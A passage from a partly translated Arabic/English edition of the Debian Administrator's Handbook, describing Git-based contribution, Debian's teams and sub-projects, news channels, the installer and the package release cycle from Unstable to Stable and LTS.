Git هي أداة للعمل التعاوني على عدة ملفات، مع الاحتفاظ بتاريخ التعديلات. غالباً تكون الملفات التي يديرها ملفات نصية، مثل الشفرات المصدرية لبرنامج ما. إذا عمل عدة أشخاص معاً على الملف نفسه، لا يستطيع git دمج التغييرات التي أجروها إلا إذا كانت هذه التعديلات في أجزاء مختلفة من الملف. وإلا يجب حل هذه ”التضاربات“ (conflicts) يدوياً.

Git is a distributed system where each user has a repository with the complete history of changes. Central repositories are used to download the project (git clone) and to share the work done with others (git push). The repository can contain multiple versions of the files but only one version can be worked on at a given time: it is called the working copy (it can be changed to point to another version with git checkout). Git can show you the modifications made to the working copy (git diff), can stage changes for inclusion (git add), and can create a new entry in the versions history (git commit). It can also update the working copy to include modifications made in parallel by other users (git pull), and can record a particular configuration in the history in order to be able to easily extract it later on (git tag).

يسهل Git التعامل مع عدة إصدارات متوازية من مشروع قيد التطوير دون أن تتداخل مع بعضها. تدعى هذه الإصدارات branches (فروع). هذا التشبيه بالأشجار دقيق إلى حد ما، لأن تطوير البرنامج يبدأ أولياً من جذع مشترك. وعند الوصول إلى مرحلة مهمة (مثل الإصدار 1.0)، يتابع التطوير على فرعين: فرع التطوير لتحضير الإصدار الرئيسي التالي، وفرع الصيانة لإدارة تحديثات وتصحيحات الإصدار 1.0.

Git is, nowadays, the most popular version control system but it is not the only one. Historically, CVS (Concurrent Versions System) was the first widely used tool but its numerous limitations contributed to the appearance of more modern free alternatives. These include, especially, subversion (svn), git, bazaar (bzr), and mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

It is beyond the scope of this book to provide a detailed explanation about Git, for that you can refer to the Pro Git book.

→ https://git-scm.com/book/

While the output of git diff is a file that can be shared with other developers, there are usually better ways to submit changes. If the developers prefer to get patches by email, they usually want patches generated with git format-patch so that they can be directly integrated in the repository with git am. This preserves commits meta-information and makes it possible to share multiple commits at once.

This email-based workflow is still popular but it tends to be replaced by the usage of merge requests (or pull requests) whenever the software is hosted in a platform like GitHub or GitLab — and Debian is using GitLab on its salsa.debian.org server. On those systems, once you have created an account, you fork the repository, effectively creating a copy of the repository in your own account, and you can then clone that repository and push your own changes in it. From there, the web interface will suggest you to submit a merge request, notifying the developers of your changes, making it easy for them to review and accept your changes with a single click.

1.3.2.4. Other ways of contributing

All of these contribution mechanisms are made more efficient by users' behavior. Far from being a collection of isolated persons, users are a true community within which numerous exchanges take place. We especially note the impressive activity on the user discussion mailing list, <debian-user@lists.debian.org> (فصل 7, حل المشكلات والعثور على المعلومات discusses this in greater detail).

→ https://lists.debian.org/users.html

لا يساعد المستخدمون بعضهم (وغيرهم) على حل المشاكل التقنية التي تؤثر عليهم بشكل مباشر وحسب، بل يناقشون أيضاً أفضل السبل للمساهمة في مشروع دبيان ومساعدته على المسير قدماً — وتنتج عن هذه النقاشات مقترحات لتحسينات في المشروع غالباً.

TOOL how-can-i-help

The how-can-i-help program lists opportunities for contributing to Debian packages that are installed locally. After each APT invocation, it shows ways to help, by highlighting bugs tagged “newcomer” (which are easy entry-points for new contributors) or orphaned packages that need a new maintainer. The program can be executed directly as well.

بما أن دبيان لا ينفق الأموال على أي نوع من حملات الترويج الإعلانية، يلعب مستخدموه دوراً أساسياً في انتشاره، وتزداد شهرته عبر التناقل الشفهي.

This method works quite well, since Debian fans are found at all levels of the free software community: from install parties (workshops where seasoned users assist newcomers to install the system) organized by local LUGs or “Linux User Groups”, to association booths at large tech conventions dealing with Linux, etc.

Volunteers make posters, brochures, stickers, and other useful promotional materials for the project, which they make available to everyone, and which Debian provides freely on its website and on its wiki:

→ https://www.debian.org/events/material

1.3.3. الفرق والمشاريع الفرعية

دبيان مُنظّم ‒منذ البداية‒ حول مبدأ الحزم المصدرية، ولكل منها مشرف خاص أو مجموعة مشرفين. ظهرت فرق عمل متعددة مع الزمن، تعمل على إدارة البنية التحتية، وإدارة المهام التي لا تتعلق بأي حزمة على وجه التحديد (ضمان الجودة، سياسة دبيان، المُثَبِّت، الخ)، آخرها سلسلة من الفرق التي تنمو حول المشاريع الفرعية.

1.3.3.1. المشاريع الفرعية الحالية

لكل واحد دبيان خاص به! المشروع الفرعي هو مجموعة من المتطوعين المهتمين بتطويع دبيان ليلائم حاجات معينة. وفيما عدا اختيار مجموعة فرعية من البرامج المخصصة لمجال معين (التعليم، الطب، إنشاء الوسائط المتعددة، الخ)، تهتم المشاريع الفرعية أيضاً بتحسين الحزم السابقة، وتحزيم البرامج الناقصة، وتعديل المُثبِّت، وإنشاء وثائق خاصة، وغيرها.

مصطلحات المشروع الفرعي والتوزيعة المشتقة

عملية تطوير توزيعة فرعية تتألف من البدء مع نسخة معينة من دبيان وإجراء عدد من التعديلات عليها. البنية التحتية المستخدمة لهذا العمل مستقلة تماماً عن مشروع دبيان. ولا يشترط أن تقيّد إضافة التحسينات بسياسة معينة. هذا الاختلاف يوضح السبب الذي يسمح للتوزيعات المشتقة بأن ”تحيد“ عن أصولها، ولذلك عليها إعادة مزامنة نفسها مع المصدر حتى تستفيد من التحسينات التي تطرأ على المنبع (upstream).

من ناحية أخرى، لا يمكن أن تحيد المشاريع الفرعية، لأن كل العمل الذي يجرى عليها عبارة عن تحسين مباشر لدبيان حتى يتناسب مع هدف محدد.

أشهر المشتقات هي أوبنتو ‒بلا شك‒ لكن هناك غيرها الكثير. انظر ملحق A, توزيعات مشتقة لتتعرف أكثر على خصائصها وطبيعة علاقتها مع دبيان.

هذه مجموعة صغيرة من المشاريع الفرعية الحالية:

Debian Jr., by Ben Armstrong, offering an appealing and easy to use Debian system for children;

Debian Edu, by Petter Reinholdtsen, focused on the creation of a specialized distribution for the academic world;

Debian Med (دبيان طب)، من Andreas Tille، مخصصة للحقل الطبي؛

Debian-Multimedia (دبيان ملتيميديا)، التي تتعامل مع إنشاء الوسائط المتعددة؛

Debian GIS التي تهتم بتطبيقات نظم المعلومات الجغرافية (Geographical Inforamtion Systems) ومستخدميها؛

Debian Accessibility, improving Debian to match the requirements of people with disabilities;

Debian Science, finally, working on providing researchers and scientists a better experience using Debian.

DebiChem, targeted at Chemistry, provides chemical suites and programs.

The number of projects will most likely continue to grow with time and improved perception of the advantages of Debian sub-projects. Fully supported by the existing Debian infrastructure, they can, in effect, focus on work with real added value, without worrying about remaining synchronized with Debian, since they are developed within the project.

1.3.3.2. الفرق الإدارية

Most administrative teams are relatively closed and recruit only by co-optation. The best means to become a part of one is to intelligently assist the current members, demonstrating that you have understood their objectives and methods of operation.

The ftpmasters are in charge of the official archive of Debian packages. They maintain the program that receives packages sent by developers and automatically stores them, after some checks, on the reference server (ftp-master.debian.org).

كما يعملون أيضاً على التحقق من رخص الحزم الجديدة، حتى يتأكدوا أن دبيان يستطيع توزيعها قبل إضافتها إلى مجموعة الحزم السابقة. عندما يرغب أحد المطورين بإزالة حزمة، عليه مراسلة هذا الفريق عبر نظام تتبع العلل و”الحزمة-الكاذبة“ (pseudo-package)‏ ftp.debian.org.

مصطلحات الحزم الكاذبة، أداة مراقبة

لقد صُمِّم نظام تتبع العلل في البداية لتجميع تقارير العلل التي تظهر في حزم دبيان، إلا أنه أثبت جدارته في إدارة أمور أخرى: كإدارة قوائم المشاكل التي يجب حلها أو المهام التي يجب إدارتها التي لا ترتبط بأي حزمة دبيان. تستخدم بعض الفرق ”الحزم الكاذبة“ (pseudo-packages) للاستفادة من نظام تتبع العلل دون أن يرتبط فريقهم بأي حزمة حقيقية. بالتالي، يستطيع أي شخص الإبلاغ عن المشاكل التي يجب معالجتها. مثلاً، يحوي BTS مدخلة ftp.debian.org التي تستخدم للإبلاغ عن المشاكل التي تتعلق بأرشيف حزم دبيان الرسمي وتتبعها أو لطلب إزالة الحزم ببساطة. كما تشير الحزمة الكاذبة www.debian.org للأخطاء في موقع دبيان، وتجمع lists.debian.org كل المشاكل المتعلقة بالقوائم البريدية.

TOOL GitLab, Git repository hosting and much more

A GitLab instance, known as salsa.debian.org, is used by Debian to host the Git packaging repositories; but this software offers much more than simple hosting and Debian contributors have been quick to leverage the continuous integration features (running tests, or even building packages, on each push). Debian contributors also benefit from a cleaner contribution workflow thanks the well understood merge request process (similar to GitHub's pull requests).

GitLab replaced FusionForge (which was running on a service known as alioth.debian.org) for collaborative package maintenance. This service is administered by Alexander Wirt, Bastian Blank and Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

The Debian System Administrators (DSA) team (<debian-admin@lists.debian.org>), as one might expect, is responsible for system administration of the many servers used by the project. They ensure optimal functioning of all base services (DNS, Web, e-mail, shell, etc.), install software requested by Debian developers, and take all precautions in regards to security.

→ https://dsa.debian.org

أدوات متعقّب حزم دبيان

هذا أحد إبداعات رافائيل، الفكرة الأساسية هي مركزة أكبر قدر ممكن من المعلومات في صفحة واحدة لكل حزمة. بالتالي، يمكن التحقق بسرعة من حالة برنامج ما، والتعرف على المهام التي يجب إنهاؤها، كما يمكن عرض المساعدة. لهذا السبب تحوي هذه الصفحة كل الإحصائيات عن العلل، والنسخ المتوفرة في كل توزيعة، وحالة الحزمة في التوزيعة الاختبارية، ومستويات ترجمة التوصيفات وقوالب debconf، كما تعرض معلومات في حال توفرت نسخة منبعية جديدة، وملاحظات عن التعارضات مع آخر نسخة من سياسة دبيان، بالإضافة لمعلومات عن المشرف، وأي معلومات أخرى يرغب ذلك المشرف بإضافتها.

→ https://tracker.debian.org/

هناك خدمة اشتراك بريدية تكمل واجهة الوب هذه. حيث ترسل آلياً المعلومات المختارة التالية إلى القائمة: العلل ونقاشاتها، توفر نسخة جديدة على مخدمات دبيان، توفر ترجمات جديدة للمراجعة، الخ.

Advanced users can, thus, follow all of this information closely and even contribute to the project, once they have got a good enough understanding of how it works.

هناك واجهة وب أخرى، اسمها Debian Developer's Packages Overview‏ (DDPO)، تقدم لكل مطور موجزاً عن حالة جميع حزم دبيان المسؤول عنها.

→ https://qa.debian.org/developer.php

تدير المجموعة المسؤولة عن ضمان الجودة في دبيان (المعروفة باسم Debian QA) هذين الموقعين وتطورهما.

يدير listmasters مخدم البريد الإلكتروني الذي يدير القوائم البريدية. ينشئ هذا الفريق القوائم الجديدة، يعالج الإرتدادات (إشعارات فشل الإرسال)، ويتابع مرشحات الرسائل الدعائية (الرسائل غير المرغوبة).

ثقافة الحركة على القوائم البريدية: بعض الأرقام

The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from May 2019) regarding our mailing lists speak for themselves: Debian hosts about 315 lists, totaling over 303,000 individual subscriptions. 227,000 e-mails are delivered every day.

Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case of the bug tracking system (BTS), the package tracker, salsa.debian.org (GitLab server, see sidebar TOOL GitLab, Git repository hosting and much more), the services available on qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. فرق التطوير، فرق عابرة

بعكس الفرق الإدارية، تكون فرق التطوير مفتوحة على مصراعيها، حتى للمساهمين الخارجيين. حتى لو يكن دور دبيان إنشاء البرمجيات، إلا أن المشروع يحتاج لبعض البرامج الخاصة لتحقيق أهدافه. تستخدم هذه الأدوات طبعاً الأساليب المُجرّبة في أماكن أخرى في عالم البرمجيات الحرة، وتُطوّر تحت رخص حرة.

طوَّر دبيان بعض البرمجيات الخاصة به، لكن بعض البرامج أخذت أدواراً رئيسية وامتدت شهرتها خارج نطاق المشروع. من الأمثلة الجيدة dpkg، برنامج إدارة حزم دبيان (اسمه في الواقع اختصار للعبارة Debian PacKaGe، ويلفظ عموماً ”dee-package“)، وapt، أداة تثبيت آلية لأي حزمة دبيان، مع اعتمادياتها، وضمان تماسك النظام بعد الترقية (اسمها اختصار للعبارة Advanced Package Tool). إلا أن فرق هذه الأدوات أصغر بكثير على أي حال، بسبب الحاجة لمستوى عالٍ نسبياً في البرمجة لفهم عمليات هذا النوع من البرامج بشكل كامل.

The most important team is probably that for the Debian installation program, debian-installer, which has accomplished a work of momentous proportions since its conception in 2001. Numerous contributors were needed, since it is difficult to write a single program able to install Debian on a dozen different architectures. Each one has its own mechanism for booting and its own bootloader. All of this work is coordinated on the <debian-boot@lists.debian.org> mailing list, under the direction of Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

فريق برنامج debian-cd (الصغير جداً) له هدف معتدل أكثر لكثير: هناك مساهمين ”صغار“ كثر كل منه مسؤول عن معماريته، لأن المطور الرئيسي لا يمكن أن يُلمَّ بجميع التعقيدات الصغيرة، ولا يعرف بدقة طريقة بدء المُثبِّت من القرص الليزري على كل معمارية.

هناك عدد من الفرق تحتاج أن تتعاون مع غيرها في عملية التحزيم: تحاول <debian-qa@lists.debian.org> مثلاً، ضمان الجودة على كل المستويات في مشروع دبيان. وتطور قائمة <debian-policy@lists.debian.org> سياسة دبيان اعتماداً على المقترحات التي ترد من كل مكان. يُترجم كل فريق مسؤول عن معمارية ما (<debian-architecture@lists.debian.org>) كل الحزم، ويعدلها بما يناسب معماريته الخاصة، إذا اقتضى الأمر.

بينما تعمل فرق أخرى على إدارة أهم الحزم حتى تضمن صيانتها دون إلقاء مسؤوليات ثقيلة جداً على الأكتاف نفسها؛ هذه حالة مكتبة C والقائمة <debian-glibc@lists.debian.org>، ومترجم C على القائمة <debian-gcc@lists.debian.org>، أو Xorg على <debian-x@lists.debian.org> (تعرف هذه المجموعة باسم X Strike Force).

1.4. متابعة أخبار دبيان

كما ذكرنا سابقاً، يتطور مشروع دبيان بطريقة موزعة جداً ومتناغمة كثيراً. نتيجة لذلك، قد يصعب أحياناً متابعة ما يحدث داخل المشروع دون أن تغرق بسيل التنبيهات الذي لا ينقطع.

إذا كنت تريد أهم أخبار دبيان فقط، ربما عليك الاشتراك في القائمة <debian-announce@lists.debian.org>. الحركة على هذه القائمة قليلة جداً (دزينة رسائل في كل عام تقريباً)، ولا تنشر إلا أهم الإعلانات، مثل توفر إصدار مستقر جديد، انتخاب قائد جديد للمشروع، أو مؤتمر دبيان السنوي.

→ https://lists.debian.org/debian-announce/

More general (and regular) news about Debian are sent to the <debian-news@lists.debian.org> list. The traffic on this list is quite reasonable too (usually around a handful of messages a month), and it includes the semi-regular “Debian Project News”, which is a compilation of various small bits of information about what happens in the project.

→ https://lists.debian.org/debian-news/

COMMUNITY The publicity team

Debian's official communication channels are managed by volunteers of the Debian publicity team. They are delegates of the Debian Project Leader and moderate news and announcements posted there. Many other volunteers contribute to the team, for example, by writing content for “Debian Project News”, Debian's official blog (bits.debian.org) or the microblogging service (micronews.debian.org), which supplies social networking sites with microblogging content.

→ https://wiki.debian.org/Teams/Publicity

For more information about the evolution of Debian and what is happening at some point in time in various teams, there is also the <debian-devel-announce@lists.debian.org> list. As its name implies, the announcements it carries will probably be more interesting to developers, but it also allows interested parties to keep an eye on what happens in more concrete terms than just when a stable version is released. While <debian-announce@lists.debian.org> gives news about the user-visible results, <debian-devel-announce@lists.debian.org> gives news about how these results are produced. As a side note, “d-d-a” (as it is sometimes referred to) is the only list that Debian developers must be subscribed to.

→ https://lists.debian.org/debian-devel-announce/

Debian's official blog (bits.debian.org) is also a good source of information. It conveys most of the interesting news that are published on the various mailing lists that we already covered and other important news contributed by community members. Since all Debian developers can contribute these news when they think they have something noteworthy to make public, Debian's blog gives a valuable insight while staying rather focused on the project as a whole.

A more informal source of information can also be found on Planet Debian, which aggregates articles posted by Debian contributors on their respective blogs. While the contents do not deal exclusively with Debian development, they provide a view into what is happening in the community and what its members are up to.

→ https://planet.debian.org/

The project is also well represented on social networks. Debian only has an official presence on Identi.ca (microblogging platform, powered by pump.io), but there are some accounts retransmitting the RSS feed from micronews.debian.org and many Debian contributors who are posting on non-official accounts.

→ https://identi.ca/debian

→ https://fosstodon.org/@debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. دور التوزيعة

أي توزيعة غنو/لينكس لها هدفين أساسيين: تثبيت نظام حر على الحاسوب (لا فرق إذا كان هناك نظام تشغيل سابق واحد أو أكثر)، وتقديم مجموعة من البرمجيات التي تغطي كل احتياجات المستخدمين.

1.5.1. المثبّت: debian-installer

يستهدف debian-installer، الذي صُمّم ليكون تجزيئياً لأقصى حد حتى يكون أعم ما يمكن، الهدف الأول. يغطي هذا المُثبّت مجالاً واسعاً من حالات التثبيت وهو ‒بشكل عام‒ يُسهِّل إنشاء مثبت مشتق يتوافق مع حالة خاصة.

هذه التجزيئية، التي تجعل المثبِّت شديد التعقيد أيضاً، قد تكون متعبة للمطورين الذين يستكشفون هذه الأداة؛ لكن سواء استخدمته في الوضع النصي أو الرسومي، ستبقى تجربة المستخدم متشابهة. لقد بذلت جهوداً عظيمة لتقليل عدد الأسئلة التي تطرح أثناء التثبيت، خصوصاً بعد تضمين برامج اكتشاف العتاد آلياً.

من اللافت أن التوزيعات المشتقة من دبيان تختلف كثيراً في هذه الناحية، وتوفر برامج تثبيت محدودة أكثر (مقيدة غالباً بمعمارية i386 أو amd64)، لكنها أسهل استخداماً لمن ليس لديه خبرة. من جهة أخرى، تحاول هذه التوزيعات ألا تحيد بعيداً جداً من ناحية الحزم المقدمة حتى تستفيد أكثر ما يمكن من الطيف الواسع من البرمجيات المقدمة دون إحداث مشاكل في التوافقية.

1.5.2. مكتبة البرمجيات

Quantitatively, Debian is undeniably the leader in this respect, with over 28,000 source packages. Qualitatively, Debian’s policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours.

Many retailers sell DVD-ROMs on the Internet at a very low price (often at cost), the “images” for which are freely available for download. There is only one drawback: the low frequency of releases of new stable versions (their development sometimes takes more than two years), which delays the inclusion of new software.

تجد معظم البرمجيات الحرة الجديدة طريقها سريعاً إلى النسخة التطويرية ما يسمح بتثبيتها. إذا كان هذا سيسبب تحديث حزم كثيرة نتيجة اعتمادياتها، يمكن أيضاً إعادة ترجمة البرنامج للنسخة المستقرة من دبيان (انظر فصل 15, إنشاء حزمة دبيان لمزيد من المعلومات عن هذا الموضوع).

1.6. دورة حياة الإصدار

سوف يحوي المشروع ما بين ثلاث إلى ست نسخ مختلفة من كل برنامج في الوقت نفسه، تسمى تجريبية، غير مستقرة، اختبارية، مستقرة، مستقرة قديمة، وربما مستقرة سابقة القديمة. كل واحدة منها توافق مرحلة مختلفة من التطوير. لفهم الوضع بشكل جيد، دعنا نلقي نظرة على رحلة البرنامج، منذ عملية التحزيم الأولية وحتى إضافته إلى النسخة المستقرة من دبيان.

مصطلحات إصدار

يشير المصطلح ”إصدار“ (release) ‒في مشروع دبيان‒ لنسخة محددة من التوزيعة (مثلاً، ”unstable release“ يعني ”النسخة غير المستقرة“). كما يشير إلى الإعلان العام عن إطلاق أي نسخة (مستقرة) جديدة.

1.6.1. الحالة التجريبية

دعنا في البداية نلقي نظرة على على الحالة الخاصة للتوزيعة Experimental (التجريبية): هذه عبارة عن مجموعة من حزم دبيان التي تحوي برمجيات قيد التطوير، ولا يشترط أن تكون مكتملة، من هنا جاء الاسم. لا يستطيع كل شيء عبور هذه المرحلة؛ يضيف بعض المطورين هنا للحصول على ملاحظات من المستخدمين الأكثر خبرة (أو المستخدمين الشجعان).

فيما عدا ذلك، تستضيف هذه التوزيعة بين الحين والآخر التعديلات المهمة على الحزم الأساسية، التي سينتج عن إضافتها إلى غير المستقرة آثار خطيرة إذا وجدت فيها علل قاتلة. لذلك تعزل هذه التوزيعة بالكامل، ولا تهاجر حزمها أبداً إلى النسخ الأخرى (إلا عن طريق تدخل المشرف أو ftpmasters بشكل واضح ومباشر). كما أنها ليست مستقلة بذاتها: فلا تحوي إلا مجموعة فرعية من الحزم، وهي لا تشمل النظام الأساسي عموماً. إذن، لا تفيد التوزيعة التجريبية إلا إذا جُمِعَت مع توزيعة أخرى مستقلة، مثل غير المستقرة.

1.6.2. الحالة غير المستقرة

Let us turn back to the case of a typical package. The maintainer creates an initial package, which they compile for the Unstable version and place on the ftp-master.debian.org server. This first event involves inspection and validation from the ftpmasters. The software is then available in the Unstable distribution, which is the “cutting edge” distribution chosen by users who are more concerned with having up-to-date packages than worried about serious bugs. They discover the program and then test it.

إذا واجهتهم مشاكل، سوف يبلغون عنها إلى مشرف الحزمة. بعدها يحضر المشرف نسخاً مصححة بانتظام، التي يرفعها إلى المخدم.

Every newly updated package is updated on all Debian mirrors around the world within six hours. The users then test the corrections and search for other problems resulting from the modifications. Several updates may then occur rapidly. During these times, autobuilder robots come into action. Most frequently, the maintainer has only one traditional PC and has compiled their package on the amd64 (or i386) architecture (or they opted for a source-only upload, thus without any precompiled package); the autobuilders take over and automatically compile versions for all the other architectures. Some compilations may fail; the maintainer will then receive a bug report indicating the problem, which is then to be corrected in the next versions. When the bug is discovered by a specialist for the architecture in question, the bug report may come with a patch ready to use.

شكل 1.2. ترجمة الحزم باستخدام البانيات الآلية

نظرة سريعة buildd، خدمة إعادة ترجمة حزم دبيان

buildd هو اختصار للعبارة ”build daemon“ (خدمة البناء). يعيد هذا البرنامج ترجمة النسخ الجديدة من حزم دبيان آلياً على المعماريات التي تستضيفه (نحاول تفادي الترجمة الهجينة (cross-compile) قدر الإمكان).

بالتالي، لإنتاج ملفات ثنائية لمعمارية arm64، يملك المشروع أجهزة arm64. يشتغل برنامج buildd عليها باستمرار وينشئ حزماً ثنائية لمعمارية arm64 من الحزم المصدرية التي يرسلها مطورو دبيان.

يستخدم هذا البرنامج على جميع الحواسيب التي تخدم كبانيات آلية لمشروع دبيان. بالتالي، يستخدم المصطلح buildd أحياناً للإشارة إلى هذه الأجهزة، التي تخصص عموماً لهذا الغرض حصراً.

1.6.3. الهجرة إلى الاختبارية

بعد مدة، تنضج الحزمة؛ وتترجم على جميع المعماريات، كما لن تجرى عليها أي تعديلات جديدة لفترة من الزمن. عندئذ تُرشَّح للتضمين في التوزيعة الاختبارية (Testing) — وهي مجموعة من الحزم غير المستقرة المختارة وفقاً لمعايير محددة. كل يوم يختار برنامج آلي الحزم التي ستضاف إلى الاختبارية، حسب مجموعة من العناصر التي تضمن مستوى معين من الجودة:

عدم وجود علل حرجة، أو على الأقل، أن تكون العلل الحرجة أقل مما هي في النسخة الموجودة حالياً في الاختبارية؛

at least 5 days spent in Unstable, which is usually sufficient time to find and report any serious problems (successfully passing the package's own test suite, if it has one, reduces that time);

نجاح ترجمة الحزمة على جميع المعماريات المدعومة رسمياً؛

dependencies that can be satisfied in Testing, or that can at least be moved there together with the package in question;

automatic quality tests of the package (autopkgtest) — if defined — don't show any regression.

من الواضح أن هذا النظام ليس معصوماً عن الخطأ؛ فالعلل الحرجة تظهر بانتظام في الحزم المضمنة في الاختبارية. مع ذلك، فهو فعال عموماً، والمشاكل التي تبرز في الاختبارية أقل بكثير من التي تجدها في غير المستقرة، وبذلك تكون للعديد من الأشخاص حلاً وسطاً مقبولاً بين الاستقرار والحداثة.

ملاحظة محدوديات الاختبارية

مع أنها مثيرة جداً من حيث المبدأ، إلا أن الاختبارية تعاني من بعض المشاكل العملية: التشابك بين الاعتماديات المتقاطعة بين الحزم كبير لدرجة أن الحزمة لا تستطيع الانتقال وحدها إلى الاختبارية إلا نادراً. قد يكون تهجير عدد كبير من الحزم مع بعضها في الوقت نفسه إلزامياً نتيجة اعتماد الحزم على بعضها البعض، وهذا مستحيل إذا كانت بعض هذه الحزم تخضع لتحديثات منتظمة. من ناحية أخرى، يكدح السكربت الذي يتعرف على عائلات الحزم المترابطة بجد لإنشائها (هذه المسألة NP-complete، لحسن الحظ نحن نعرف بعض heuristics الجيدة لها). لهذا السبب يمكننا التفاعل مع هذا السكربت يدوياً وإرشاده عبر اقتراح مجموعات من الحزم، أو فرض تضمين بعض الحزم إلى مجموعة ما، حتى لو سبب هذا تعطل بعض الاعتماديات مؤقتاً. هذه الميزة متاحة لمديري الإصدار (Release Managers) ومساعديهم.

تذكر أن تعقيد خوارزميات المشاكل من رتبة NP-complete يتناسب مع حجم البيانات أُسيَّاً، وهذا الحجم هنا هو طول الكود (عدد الرموز) والعناصر المشتركة. الطريقة الوحيدة لحلها هي فحص جميع الترتيبات الممكنة، وهذه تحتاج طاقات هائلة. heuristic هو حل تقريبي، لكنه مقبول.

مجتمع مدير الإصدار

مدير الإصدار (Release Manager) هو لقب مهم، يرتبط بمسؤوليات ثقيلة. في الحقيقة، يجب أن يدير حاملو هذا اللقب إصدار النسخ المستقرة الجديدة من دبيان، وتحديد عملية تطوير الاختبارية حتى تلائم معايير الجودة للمستقرة. كما أنهم يُعرّفون جدولاً زمنياً مُقدّراً (لا يلتزم به دائماً).

هناك أيضاً مديرو الإصدار المستقر (Stable Release Managers، ويختصر غالباً إلى SRM)، الذين يختارون التحديثات للنسخة المستقرة الحالية من دبيان. يضيف مديرو الإصدار المستقر التحديثات الأمنية تلقائياً ويفحصون جميع مقترحات الإضافة الأخرى، مقترحاً بعد الآخر، التي يرسلها مطورو دبيان المتلهّفون لتحديث حزمهم في النسخة المستقرة.

1.6.4. الترقية من الاختبارية إلى المستقرة

Let us suppose that our package is now included in Testing. As long as it has room for improvement, its maintainer must continue to improve it and restart the process from Unstable (but its later inclusion in Testing is generally faster: unless it changed significantly, all of its dependencies are already available). When it reaches perfection, the maintainer has completed their work. The next step is the inclusion in the Stable distribution, which is, in reality, a simple copy of Testing at a moment chosen by the Release Manager. Ideally, this decision is made when the installer is ready, and when no program in Testing has any known critical bugs.

بما أن هذه اللحظة لن تصل أبداً في الحقيقة، يجب أن يضحي دبيان عملياً: إما بإزالة الحزم التي لا يتمكن مشرفوها من تصحيح عللها في الوقت المناسب، أو الاتفاق على إصدار توزيعة تحوي بعض العلل من بين آلاف البرامج. يعلن مديرو الإصدار قبل هذا عن فترة تجميد، تحتاج أثناءها كل التحديثات التي تصل إلى الاختبارية للموافقة. الهدف هنا منع دخول أي نسخة جديدة (مع عللها الجديدة)، وقبول التحديثات التي تصحح العلل السابقة فقط.

شكل 1.3. مسار الحزمة بين نسخ دبيان المختلفة

مصطلحات التجميد: خط النهاية

أثناء فترة التجميد، يتوقف تطوير التوزيعة الاختبارية؛ فلا يسمح بمزيد من التحديثات الآلية. يحق لمديري الإصدار وحدهم عندئذ تعديل الحزم، وفقاً لمعاييرهم الخاصة. الهدف هو منع ظهور علل جديدة نتيجة دخول إصدارات جديدة؛ لا تقبل إلا التحديثات المفحوصة بشكل شامل إذا كانت تصحح عللاً بارزة.

After the release of a new stable version, the Stable Release Managers manage all further development (called “revisions”, ex: 7.1, 7.2, 7.3 for version 7). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included).

At the end of the journey, our hypothetical package is now included in the stable distribution. This journey, not without its difficulties, explains the significant delays separating the Debian Stable releases. This contributes, over all, to its reputation for quality. Furthermore, the majority of users are satisfied using one of the three distributions simultaneously available. The system administrators, concerned above all about the stability of their servers, don't need the latest and greatest version of GNOME; they can choose Debian Stable, and they will be satisfied. End users, more interested in the latest versions of GNOME or KDE Plasma than in rock-solid stability, will find Debian Testing to be a good compromise between a lack of serious problems and relatively up-to-date software. Finally, developers and more experienced users may blaze the trail, testing all the latest developments in Debian Unstable right out of the gate, at the risk of suffering the headaches and bugs inherent in any new version of a program. To each their own Debian!

CULTURE GNOME and KDE Plasma, graphical desktop environments

GNOME (GNU Network Object Model Environment) and Plasma by KDE (formerly known as K Desktop Environment) are the two most popular graphical desktop environments in the free software world, and will be presented in greater detail in قسم 13.3, “سطح المكتب الرسومي”.

A desktop environment is a set of programs grouped together to allow easy management of the most common operations through a graphical interface. They generally include a file manager, office suite, web browser, e-mail program, multimedia accessories, etc. The most visible difference resides in the choice of the graphical library used: GNOME has chosen GTK+ (free software licensed under the LGPL), and the KDE community has selected Qt (a company-backed project, available nowadays both under the GPL and a commercial license).

→ https://www.gnome.org/

→ https://www.kde.org/

شكل 1.4. المسار الزمني للبرامج التي تحزمها دبيان

1.6.5. حالة النسخة المستقرة القديمة والمستقرة سابقة القديمة

لكل نسخة مستقرة عمر يقدر بحوالي 5 سنوات، وبما أن الإصدارات الجديدة تظهر كل سنتين فمن الممكن أن تبقى 3 إصدارات مدعومة متاحة في أي لحظة زمنية. عندما تصدر نسخة مستقرة جديدة، تصبح النسخة السابقة لها مستقرة قديمة وسابقتها الأقدم تصبح المستقرة سابقة القديمة.

إصدارات دبيان طويلة الدعم هذه هي مبادرة حديثة العهد: تضامن المساهمون الأفراد والشركات لتكوين فريق دبيان LTS (اختصار Long Term Support). يتولى هذا الفريق مسؤولية دعم الإصدارات الأقدم التي يتوقف فريق دبيان security عن دعمها.

The Debian security team handles security support in the current Stable release and also in the Oldstable release (but only for as long as is needed to ensure one year of overlap with the current stable release). This amounts roughly to three years of support for each release. The Debian LTS team handles the last (two) years of security support so that each releases benefits from at least 5 years of support and so that users can upgrade from version N to N+2, for example from Debian 8 Jessie to Debian 10 Buster.

→ https://wiki.debian.org/LTS

مجتمع الشركات الداعمة لجهود الدعم طويل الأمد

الدعم طويل الأمد التزام صعب التحقيق في دبيان لأن المتطوعين يميلون لتفادي الأعمال غير الممتعة. وتوفير الدعم الأمني لبرمجيات مضى على إصدارها 5 سنوات أقل متعة بكثير —بالنسبة للعديد من المساهمين— من توفير النسخ المنبعية الحديثة في حزم أو تطوير مزايا جديدة.

لتحقيق هذا المشروع، اعتمد المشروع على حقيقة أن الدعم طويل الأمد كان مفيداً للشركات التجارية بشكل خاص وأن هذه الشركات مستعدة للمشاركة في تحمل تكلفة هذا الدعم الأمني.

